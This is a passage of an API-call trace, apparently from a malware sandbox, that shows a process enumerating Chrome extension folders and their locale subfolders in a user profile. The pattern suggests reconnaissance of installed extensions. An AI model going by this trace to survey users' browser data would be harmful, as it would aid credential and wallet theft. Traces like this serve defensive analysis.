	[0066.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.441] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.442] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.444] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.445] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.446] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.446] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*", lpFindFileData=0x124155f8 | out: lpFindFileData=0x124155f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.447] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.447] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*", lpFindFileData=0x124156c0 | out: lpFindFileData=0x124156c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.447] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.447] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*", lpFindFileData=0x1241565c | out: lpFindFileData=0x1241565c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.451] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*", lpFindFileData=0x124155f8 | out: lpFindFileData=0x124155f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.454] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.455] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.456] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.457] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.457] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.458] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.459] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.460] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.460] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.460] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.460] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.461] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.462] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
